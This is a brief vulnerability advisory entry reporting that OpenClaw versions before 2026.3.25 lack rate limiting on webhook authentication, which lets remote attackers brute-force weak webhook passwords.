Description

OpenClaw before 2026.3.25 contains a missing rate limiting vulnerability in webhook authentication that allows attackers to brute-force weak webhook passwords without throttling. Remote attackers can repeatedly submit incorrect password guesses to the webhook endpoint to compromise authentication and gain unauthorized access.
